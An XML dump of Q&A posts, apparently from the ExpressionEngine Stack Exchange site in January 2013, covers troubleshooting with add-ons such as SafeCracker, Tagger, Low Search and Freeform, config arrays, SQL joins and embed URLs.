  <row Id="3576" PostTypeId="2" ParentId="3572" CreationDate="2013-01-10T20:00:06.103" Score="4" Body="&lt;p&gt;When an order is placed, any email triggered by the default order status will be sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your default order status is &quot;New&quot;, and you have an &quot;Order Confirmation&quot; email template set up, and your email template is assigned to the &quot;New&quot; status, it will get sent when each order is placed (this is set up when you first install Store).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently you can only send one email per status - but you can easily BCC the store admin so they know an order has been placed.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-10T20:00:06.103" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostTypeId="2" ParentId="3521" CreationDate="2013-01-10T20:03:16.073" Score="3" Body="&lt;p&gt;The answer is No. {exp:playa:children} just figures out the IDs of the entries that should be output, and passes them + the inner template code to Channel-&gt;entries(), which handles actually grabbing the entries and parsing the template code. So there’s no way for Playa to tell it to add any extra per-entry variables into the mix. (This is why the {parent:xyz} and {child:xyz} values only work if you’re grabbing the children/parents of a single entry at a time.)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-10T20:03:16.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostTypeId="2" ParentId="2031" CreationDate="2013-01-10T20:05:11.173" Score="1" Body="&lt;p&gt;Issue resolved with the CT guys help. For your info...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Cart Throb core file that has a method to calculate the total. That method was checking for the value of the tax plugin but not the extension. They modified the core file and now it checks for both plugin and extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Future versions of CT will have this baked in.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2013-01-10T20:05:11.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3579" PostTypeId="2" ParentId="3516" CreationDate="2013-01-10T20:07:44.937" Score="2" Body="&lt;p&gt;CKEditor’s instanceReady event ought to fit the bill for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.html#event:instanceReady&quot; rel=&quot;nofollow&quot;&gt;http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.html#event:instanceReady&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.on('instanceReady', function(ev) {&#xA;    // ...&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-10T20:07:44.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostTypeId="2" ParentId="3557" CreationDate="2013-01-10T20:10:20.967" Score="2" Body="&lt;p&gt;I think you  need to hack the core files to make this change. Look in the theme or module files for the specific field that you want to change. Without knowing which field you want to adjust, I can't point you to a specific file. You can remove the character limit instead of increasing it to make it unlimited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also need to adjust the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/string-types.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;string type&lt;/strong&gt;&lt;/a&gt; of db column where the data is stored to accommodate the larger data. MEDIUMTEXT will store 16,777,215 bytes or ~16MB of data and should do the trick for you. This can be accomplished through a tool like phpmyadmin which your web host most likely supports. This &lt;a href=&quot;http://www.youtube.com/watch?v=9YMTVvc4NT4&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;video&lt;/strong&gt;&lt;/a&gt; shows you how to change the type setting in phpmyadmin...  &lt;strong&gt;NOTE:&lt;/strong&gt; You will need to identify the correct database column... the one in this video is not what you should change, it just shows you how to change it.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-10T20:53:49.730" LastActivityDate="2013-01-10T20:53:49.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3581" PostTypeId="1" AcceptedAnswerId="3582" CreationDate="2013-01-10T20:20:51.537" Score="1" ViewCount="265" Body="&lt;p&gt;Creating a &quot;testimonials&quot; form in ExpressionEngine, NO CLUE WHERE TO START&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using ExpressionEngine v.2.2.0, just FYI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The boss wants me to create a textfield form (served by EE) that will collect user feed back, have the responses placed in EE's moderation queue and then when approved, have those responses integrated as blockquotes on the site as &quot;testimonials&quot;. The idea is that we'll use good feedback to hopefully inspire others to convert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have NO idea where to even begin. I am totally EE illiterate and there's no one here to point me in the right direction. The developer who set up EE for our blogger and videographer moved to another part of the state two weeks ago. I've spent the entire morning trying to figure this thing out, but I'm no closer than where I was when I started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone who knows EE well please give me a little direction? :( Thanks.&lt;/p&gt;&#xA;" OwnerUserId="760" LastEditorUserId="55" LastEditDate="2013-01-10T20:31:12.040" LastActivityDate="2013-08-01T17:53:35.923" Title="Creating a &quot;testimonials&quot; form in ExpressionEngine, no clue where to start" Tags="|channel-entries|categories|admin|pages|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3582" PostTypeId="2" ParentId="3581" CreationDate="2013-01-10T20:58:28.323" Score="3" Body="&lt;p&gt;First of all, you should probably talk to your boss about upgrading to the latest version of EE. 2.2.0 is quite old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you might want to start by reading the ExpressionEngine documentation, such as &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/intro/the_big_picture.html&quot; rel=&quot;nofollow&quot;&gt;The Big Picture&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine uses &quot;channels&quot; to store data, which are basically types of content (each with their own data structure). So in your case, you would probably create a channel called &quot;testimonials&quot;, and give it fields such as &quot;Author&quot; and &quot;Body&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag to pull out random testimonials in your templates. I'm going to assume you are familiar with HTML and CSS, (otherwise you are going to have a very hard time using EE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your templates, you would use something like this (once you have set up the channels and added some data):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;testimonials&quot; order=&quot;random&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;h3&amp;gt;{testimonial_author}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{testimonial_body}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; After re-reading your question, it sounds like you actually want users to submit their own testimonials. In that case, everything above still applies, but you need to use the built in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;SafeCracker&lt;/a&gt; extension to allow users to submit channel entries on the front end. An overview of how to use SafeCracker is beyond the scope of this answer, so I'll leave it to you to read the documentation and feel free to post ask a new question here if you run into any specific issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll suggest though, make sure you understand the concepts of &lt;strong&gt;channels&lt;/strong&gt; and &lt;strong&gt;entries&lt;/strong&gt; before you bother trying to figure out SafeCracker. Work on creating the channel and entering testimonials in the control panel, then display these on your site using the tags above. Once you have got that far, you will have a much better understanding of how to use SafeCracker.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-01-10T21:19:21.263" LastActivityDate="2013-01-10T21:19:21.263" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3583" PostTypeId="2" ParentId="2311" CreationDate="2013-01-10T20:59:40.777" Score="1" Body="&lt;p&gt;I have been able to put together a solution to give members the ability to register or invite a limited number of other members. This is part of a larger vote/polling system that has some specific needs, but I will answer this question specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;http://devot-ee.com/add-ons/invitations&quot; rel=&quot;nofollow&quot;&gt;Invitations&lt;/a&gt; add-on, we can allow members to generate one-time use invitation keys. These keys allow other member, or non-member users, to register or change their member group (thus providing different privileges).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no setting in the add-on to limit the number of keys generated by a given member. To create this limitation, we use a conditional in a template that generates keys which checks to see if the keys have already been generated by the member. If NO, then it proceeds with the key generation. If YES, then it shows the key already generated and will not generate any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keys are generated simply by visiting a template that uses the &lt;em&gt;generate key&lt;/em&gt; tag. By using an embed template for each tag, we can generate multiple unique keys on a single template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method, we can give members the ability to invite or register a limited number of additional users.&lt;/p&gt;&#xA;" OwnerUserId="706" LastActivityDate="2013-01-10T20:59:40.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostTypeId="2" ParentId="2353" CreationDate="2013-01-10T21:22:38.840" Score="2" Body="&lt;p&gt;I asked the same question to Exp:resso Store official support and they confirmed that having a rule that sets a base rate + an additional shipping rate free for the first item is not possible without writing some custom PHP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow they suggested to lower base rate to 1.50£ and let Store add the additional rate (1£) to every item: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 product = 1.50 + 1.00 = 2.50&lt;/li&gt;&#xA;&lt;li&gt;2 products = 1.50 + 2.00 = 3.50&lt;/li&gt;&#xA;&lt;li&gt;3 products = 1.50 + 3.00 = 4.50&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see the end result would be the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the solution suggested by Exp:resso staff will be useful for someone else! &lt;/p&gt;&#xA;" OwnerUserId="710" LastActivityDate="2013-01-10T21:22:38.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3586" PostTypeId="2" ParentId="3581" CreationDate="2013-01-10T21:29:31.773" Score="2" Body="&lt;p&gt;Per Adrian's suggestion, I'll elaborate on my comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entries made through the front end require Safecracker, which is a first-party module that allows you to build an entry form on the front end (i.e. the user would not need to be in the EE control panel to add a new entry to the &quot;testimonial quotes&quot; channel. But it's a little tricky to set up, particularly for a beginner - on the upside, it is a native EE solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, an alternative for you to consider is a free add-on called &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt; from Solspace.  Compared to Safecracker, it's probably considerably easier to implement the form on the front end, since it behaves like EE entries but actually stores the data in its own tables. The documentation is solid with plenty of examples to get you started.  And it has a moderation system (using statuses) just like EE, so functionally it would allow you to do the same thing, without having to get into Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside to this approach would be the flip-side of its strength - because it is not an entry in EE but rather an entry in Freeform itself, you can't easily create a relationship between an entry in Freeform and an entry in EE. SO if you have a &quot;products&quot; channel in EE and you want to &quot;relate&quot; a testimonial quote to a given product in the products channel, Freeform won't give you the ability to do this.  But if you don't need something like that, and the quotes can live on their own and not have a specific relationship with individual entries in EE, then Freeform may get you most of the way there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating EE will be critical to this, since the latest version of Freeform requires at least EE2.4.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-10T21:29:31.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3587" PostTypeId="2" ParentId="3568" CreationDate="2013-01-10T21:49:15.127" Score="1" Body="&lt;p&gt;Have you considered using jQuery for this? This &lt;a href=&quot;https://stackoverflow.com/a/6053882/135935&quot;&gt;&lt;strong&gt;answer on StackOverflow&lt;/strong&gt;&lt;/a&gt; has a code example that might do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my quick untested code attempt for your specific case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('iframe').each(function() {&#xA;    var src = $(this).attr('src');&#xA;    if (src.indexOf('http:') &amp;gt; -1) {&#xA;        src = src.replace('http:', 'https:');&#xA;        $(this).attr('src', src);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-10T21:56:14.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostTypeId="2" ParentId="3561" CreationDate="2013-01-10T21:58:33.090" Score="1" Body="&lt;p&gt;I use Safecracker to edit webpages on the frontend all the time. I find it useful to keep some editors away from the control panel, especially when all they need do is change some text or add an image. Safecracker File is OK for images. I've had problems adding images within text box areas, it depends on which file browser being used. You can do a lot of what can be done via backend CP but not everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to open up a new page template with the Safecracker fields and pass the entry_id via a segment_X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be done using modal boxes to give a more inline feel, as you're already doing with backend, but can get tricky refreshing parent page to show the edits made, Javascript or Ajax should help here. &lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-01-10T21:58:33.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostTypeId="1" AcceptedAnswerId="3664" CreationDate="2013-01-10T23:20:57.037" Score="2" ViewCount="133" Body="&lt;p&gt;Have an issue with using DevDemons Tagger with Safecracker.&#xA;Know this has been working before, so the syntax &quot;should&quot; be right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5 and TAGGER 3.0.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code (I totally stripped all css for testing) looks something like this on the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;patricks_blogg&quot; include_jquery=&quot;yes&quot;}&#xA;&amp;lt;label for=&quot;patricks_blogg_tags&quot; class=&quot;clearfix&quot;&amp;gt;Taggar&amp;lt;/label&amp;gt;&#xA;{field:patricks_blogg_tags} &#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error I get is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'ip_address' in 'where clause'&#xA;&#xA;SELECT `hash` FROM (`exp_security_hashes`) WHERE `ip_address` = '80.217.184.33' AND `date` &amp;gt; UNIX_TIMESTAMP()-3600 LIMIT 1&#xA;&#xA;Filename: third_party/tagger/libraries/tagger_helper.php&#xA;&#xA;Line Number: 221&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="43" LastEditDate="2013-01-11T01:30:27.160" LastActivityDate="2013-01-12T17:36:22.270" Title="DevDemon module Tagger with Safecracker" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostTypeId="2" ParentId="3589" CreationDate="2013-01-11T01:00:08.020" Score="3" Body="&lt;p&gt;You need to check for an update for Tagger. Looks like maybe you updated to either EE 2.5.4 or 2.5.5. Ellis Lab made some security changes which removed the IP address or moved it. But this caused a number of errors in various Add-Ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last release of &lt;a href=&quot;http://devot-ee.com/add-ons/tagger&quot; rel=&quot;nofollow&quot;&gt;Tagger&lt;/a&gt; was before Ellis Lab released the security changes in EE 2.5.4 and EE 2.5.5. From Devot-ee it says &lt;a href=&quot;http://devot-ee.com/add-ons/tagger&quot; rel=&quot;nofollow&quot;&gt;Tagger 3.0.6&lt;/a&gt; was last updated on November 20, 2012. Ellis Lab released &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.5.4-released&quot; rel=&quot;nofollow&quot;&gt;EE 2.5.4 on the 18 Dec 2012&lt;/a&gt; (it broke a number of Add-Ons), then they updated to &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.5.5-released&quot; rel=&quot;nofollow&quot;&gt;EE 2.5.5 on 20 December 2012&lt;/a&gt; for a date issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you need to contact &lt;a href=&quot;http://www.devdemon.com&quot; rel=&quot;nofollow&quot;&gt;DevDemon&lt;/a&gt; and find out if the plan to release a fix for Tagger soon. It's possible if you contact them via their &lt;a href=&quot;http://www.devdemon.com/support/&quot; rel=&quot;nofollow&quot;&gt;support form&lt;/a&gt; they may send you a new build, that hasn't been officially released. It looks like the did for someone else based on the support forums.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-11T01:43:10.133" LastActivityDate="2013-01-11T01:43:10.133" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3591" PostTypeId="1" AcceptedAnswerId="3595" CreationDate="2013-01-11T01:47:43.433" Score="7" ViewCount="640" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;EE Master Config&lt;/a&gt; along with Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know in Master Config that all the configs have been changed from &lt;code&gt;$config['']&lt;/code&gt; to &lt;code&gt;$env_config['']&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed with Stash that Mark is using this format: &lt;code&gt;$assign_to_config['']&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean &lt;a href=&quot;https://github.com/croxton/Stash#installation&quot;&gt;here&lt;/a&gt; in the dev branch of 2.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm wondering what is the different between $config and $assign_to_config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually just convert that over to the EE Master Config format though, now that I think of it, I've never really known what was the proper format or why the assign_to_config format exist in the first place.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="199" LastEditDate="2013-01-11T02:28:57.647" LastActivityDate="2013-01-11T15:50:34.613" Title="Difference between assign_to_config and config (and or env_config)" Tags="|stash|config|focus-lab-master-config|config-overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostTypeId="1" CreationDate="2013-01-11T01:51:43.857" Score="3" ViewCount="269" Body="&lt;p&gt;I'm trying to learn how to do mysql joins. Twitter has helped already get me started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the number of members that have entries attached to them...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the number of members that have entries with a specific category_id attached to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT count(*) AS num_members&#xA;    FROM exp_members m&#xA;    JOIN exp_channel_titles t on t.author = m.member_id&quot;}&#xA;&#xA;    {num_members}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="761" LastEditorUserId="28" LastEditDate="2013-01-11T04:21:41.440" LastActivityDate="2013-01-11T04:21:41.440" Title="QUERY join for members that have entries" Tags="|query|queries|querystring|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3593" PostTypeId="1" AcceptedAnswerId="3597" CreationDate="2013-01-11T02:05:56.123" Score="3" ViewCount="135" Body="&lt;p&gt;In &lt;a href=&quot;http://devot-ee.com/add-ons/low-options&quot; rel=&quot;nofollow&quot;&gt;the devotee page&lt;/a&gt;, &lt;a href=&quot;https://github.com/lodewijk/low_options&quot; rel=&quot;nofollow&quot;&gt;Low Options&lt;/a&gt; has this description&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Low Options displays the list items or options for a given channel&#xA;  field. Compatible with native Select DropDown and Checkboxes fields,&#xA;  as well as Pixel &amp;amp; Tonic's channel fields that use options.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have looked over the documentation and the plugin itself but nothing seems to point that it supports checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&#xA;     &amp;lt;label&amp;gt;Pets:&amp;lt;/label&amp;gt;&#xA;     {exp:low_options:pets}&#xA;        {options}&#xA;            &amp;lt;label for=&quot;{option_label}&quot;&amp;gt;{option_label}:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;checkbox&quot; name=&quot;search:pets[]&quot; value=&quot;{option_value}&quot; /&amp;gt;&#xA;        {/options}&#xA;    {/exp:low_options:pets}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;Pets&quot; is a native Dropdown.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="172" LastEditDate="2013-01-11T07:22:52.613" LastActivityDate="2013-01-11T07:22:52.613" Title="Does Low Options support checkboxes?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3594" PostTypeId="2" ParentId="3592" CreationDate="2013-01-11T02:09:29.150" Score="3" Body="&lt;p&gt;Shouldn't it be t.author_id instead of t.author?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;    SELECT count(*) AS num_members&#xA;    FROM exp_members m&#xA;    JOIN exp_channel_titles t on t.author_id = m.member_id&quot;}&#xA;&#xA;    {num_members}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="607" LastEditorUserId="150" LastEditDate="2013-01-11T02:17:02.883" LastActivityDate="2013-01-11T02:17:02.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostTypeId="2" ParentId="3591" CreationDate="2013-01-11T02:15:03.240" Score="15" Body="&lt;p&gt;&lt;code&gt;$assign_to_config&lt;/code&gt; is an EE-native array used in the index.php file. Here's part of the comments EllisLab left for us to provide context:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The $assign_to_config array below will be passed dynamically to the&#xA;   config class. This allows you to set custom config items or override&#xA;   any default config values found in the config.php file.  This can&#xA;   be handy as it permits you to share one application between more then&#xA;   one front controller file, with each file containing different &#xA;   config values.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The use of &lt;code&gt;$env_config&lt;/code&gt; in our (Focus Lab's) config approach is to clearly display what is set in our config files vs what's set in &lt;code&gt;index.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I guess I'm wondering what is the different between $config and $assign_to_config&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Really the only difference between these two is that &lt;code&gt;$config&lt;/code&gt; is set in the &lt;code&gt;config.php&lt;/code&gt; file and &lt;code&gt;$assign_to_config&lt;/code&gt; is set in the &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all achieve the same goal though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably worth noting that if an array key exists in both the &lt;code&gt;$config&lt;/code&gt; array and the &lt;code&gt;$assign_to_config&lt;/code&gt; array, the latter will take precedent.&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2013-01-11T15:50:34.613" LastActivityDate="2013-01-11T15:50:34.613" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3596" PostTypeId="1" CreationDate="2013-01-11T02:58:36.597" Score="3" ViewCount="1449" Body="&lt;p&gt;I have seen &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1978/returning-low-search-results-using-ajax&quot;&gt;this&lt;/a&gt; question about using Low Search with Ajax but I still don't see how to integrate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;foo&quot; search_mode=&quot;any&quot; result_page=&quot;foo/search&quot; form_id=&quot;search_form&quot;}&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot; id=&quot;search&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this Javascript code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;#search_form&quot;).on(&quot;submit&quot;, function(event){&#xA;        event.preventDefault();&#xA;&#xA;        // HOW DO I GET THE ENCODED STRING HERE?&#xA;&#xA;        var aData = [],&#xA;            sSource = $(this).attr(&quot;action&quot;);&#xA;&#xA;        $.ajax(&#xA;        {&#xA;            'dataType': 'json',&#xA;            'type': 'POST',&#xA;            'url': sSource,&#xA;            'data': aData,&#xA;            'success': function (oAjaxData, sTextStatus)&#xA;            {&#xA;            },&#xA;            'error': function (jqXHR, sTextStatus, errorThrown)&#xA;            {&#xA;                console.log(sTextStatus);&#xA;            },&#xA;            'complete': function (jqXHR, sTextStatus)&#xA;            {}&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the encoded query string in the Javascript code?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-28T03:47:24.250" Title="Low Search - How to use with Ajax?" Tags="|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3597" PostTypeId="2" ParentId="3593" CreationDate="2013-01-11T03:14:38.223" Score="4" Body="&lt;p&gt;It works fine with checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For native checkboxes &lt;em&gt;{option:value}&lt;/em&gt; and &lt;em&gt;{option:label}&lt;/em&gt; will output the same thing. For the P&amp;amp;T Fieldpack, each one will correspond to the &lt;em&gt;option : label&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-01-11T03:14:38.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostTypeId="2" ParentId="3596" CreationDate="2013-01-11T03:19:58.790" Score="3" Body="&lt;p&gt;The answer is to use the Low Search URL tag, which can produce a human-readable ACT URL with the keywords as a param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#url-tag&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search/docs/tags#url-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-01-11T03:19:58.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3599" PostTypeId="2" ParentId="3568" CreationDate="2013-01-11T03:23:34.473" Score="4" Body="&lt;p&gt;In your templates you can wrap any custom fields that might contain a non-https embed code with &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Low Replace&lt;/strong&gt;&lt;/a&gt;, finding and replacing any non-https embed sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace &#xA;    find=&quot;http://www.youtube.com/embed&quot; &#xA;    replace=&quot;https://www.youtube.com/embed&quot;&#xA;}&#xA;    {your_custom_field}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Low Replace will allow you to specify multiple replacements (so you could catch all your different video embed providers in one shot) and has some other useful features, too.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-01-11T03:23:34.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
